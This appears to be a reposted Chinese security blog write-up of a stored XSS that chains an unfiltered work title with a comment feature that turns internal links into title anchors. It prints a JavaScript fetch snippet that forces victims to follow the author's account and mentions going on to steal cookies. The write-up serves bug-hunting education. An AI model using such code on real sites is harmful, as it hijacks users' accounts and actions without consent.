2026-03-18 02:20:03 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 文章记录了一次组合型XSS漏洞挖掘实战。作者发现发布作品名称处虽过滤XSS，但结合评论区自动转换站内链接标题的特性，在作品名插入Payload并诱导评论触发漏洞。利用该漏洞构造JS代码实现强制用户关注，验证了窃取Cookie等潜在危害。结论强调挖掘时应发散思维，关注多功能点组合带来的安全风险。 综合评分： 83 文章分类： WEB安全,实战经验,漏洞分析,渗透测试

cover_image

记一次有趣的XSS漏洞挖掘

xiaoqiuxx xiaoqiuxx

陌笙不太懂安全

2026年3月4日 17:39 河北

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号陌笙不太懂安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉，谢谢！

作者:xiaoqiuxx原文链接:https://xz.aliyun.com/news/13303

漏洞复现

功能点一

首先这里的话是存在一个简单的功能点，就是可以发布自己的一个作品，这里挖掘的时候想法肯定就是插一些xss的payload（因为我们就是挖掘xss嘛），所以的话就插了一些payload进行测试，意料之中，肯定是没有反应的。但是我们肯定是不能放弃的，因为在挖掘的时候很多漏洞可能是组合在一起产生的，所以我们可以多一些脑洞。

这个name参数就是我们的作品名称。

发出来的效果就是这么一回事。

然后呢，这里没有发现漏洞，那么我们继续测试其他的功能点。

功能点二

这个功能点也是很常见的功能，就是评论。评论区一般都是xss的高发区也是重点防护区。当然我们也是可以进行一个简单的payload测试

一样的没有任何反应，但是这里的话我在看别人的评论的时候就发现了一个好玩的事情，如果评论的时候，我们评论的内容是该网站的其他作品的链接，那么它会自动转换为该作品的名称，一个a标签（外站的链接不行）

那么这里就是有思路了，把这两个功能点结合一下或许就可以变成一个有趣的xss漏洞。把之前我们存在xss payload的作品链接在我们的作品底下进行评论

好！符合预期，这里确实存在xss漏洞，那么我们如何把这个危害进行扩大呢，我们都知道xss主要是因为js的问题，而js是可以发起http请求的，那么这里我们就有一个思路了（当时也是看了大佬挖掘b站xss漏洞的启发），我们抓取api，然后自己编写一段请求代码，只要别人访问我们的作品（或者我们在别人作品底下进行评论），都会触发这段js代码从而发起请求。借助一些xss在线平台，编写以下代码，通过fetch发起请求，让其他用户自动关注我的账号。

function getHeaders() {&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"accept":&nbsp;"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"accept-language":&nbsp;"zh-CN,zh;q=0.9",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"cache-control":&nbsp;"max-age=0",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"content-type":&nbsp;"application/x-www-form-urlencoded",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sec-ch-ua":&nbsp;"\"Not?A_Brand\";v=\"8\",&nbsp;\"Chromium\";v=\"108\",&nbsp;\"Google Chrome\";v=\"108\"",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sec-ch-ua-mobile":&nbsp;"?0",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sec-ch-ua-platform":&nbsp;"\"Windows\"",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sec-fetch-dest":&nbsp;"document",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sec-fetch-mode":&nbsp;"navigate",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"sec-fetch-site":&nbsp;"same-site",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Content-Type": 'application/json'&nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; }&nbsp; &nbsp; function apiGet() {&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;fetch("https://xxxxxxx/follow", {&nbsp; &nbsp; &nbsp; &nbsp; method:&nbsp;"POST",&nbsp; &nbsp; &nbsp; &nbsp; headers: getHeaders(),&nbsp; &nbsp; &nbsp; &nbsp; mode:&nbsp;"cors",&nbsp; &nbsp; &nbsp; &nbsp; body:&nbsp;JSON.stringify({&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"followed_user_id": xxxxxx,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"state":&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; })&nbsp; &nbsp; &nbsp; }).then(function () {&nbsp; &nbsp; &nbsp; &nbsp; console.log("关注成功");&nbsp; &nbsp; &nbsp; })&nbsp; &nbsp; }&nbsp; &nbsp; apiGet()

在其他作品底下进行评论

抓包可以看到确实是已经发起请求了，那么坐等消息即可（狗头）

可以的，百万关注不是梦啊，这里其实可以借助xss平台进行更多的操作，比如盗取cookie…

总结

在挖掘一些漏洞的时候我们的思路需要发散一些，碰到功能点我们可以去思考开发者开发这个功能是想实现什么东西，多个不同的功能点是不是组合在一些会产生一些特殊的化学反应。

后台回复加群加入交流群

有思路工具需要的师傅可以加入小圈子

主要内容是（2025-2026/edusrc实战报告/思维导图/edu资产/漏洞挖掘工具/各类源码/ctf&src学习资料等）

部分思维导图展示，其他内容可扫码查看。

其他内容懂得都懂，可以扫码查看详情，目前410多条内容，持续更新中。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：陌笙不太懂安全 xiaoqiuxx xiaoqiuxx《记一次有趣的XSS漏洞挖掘》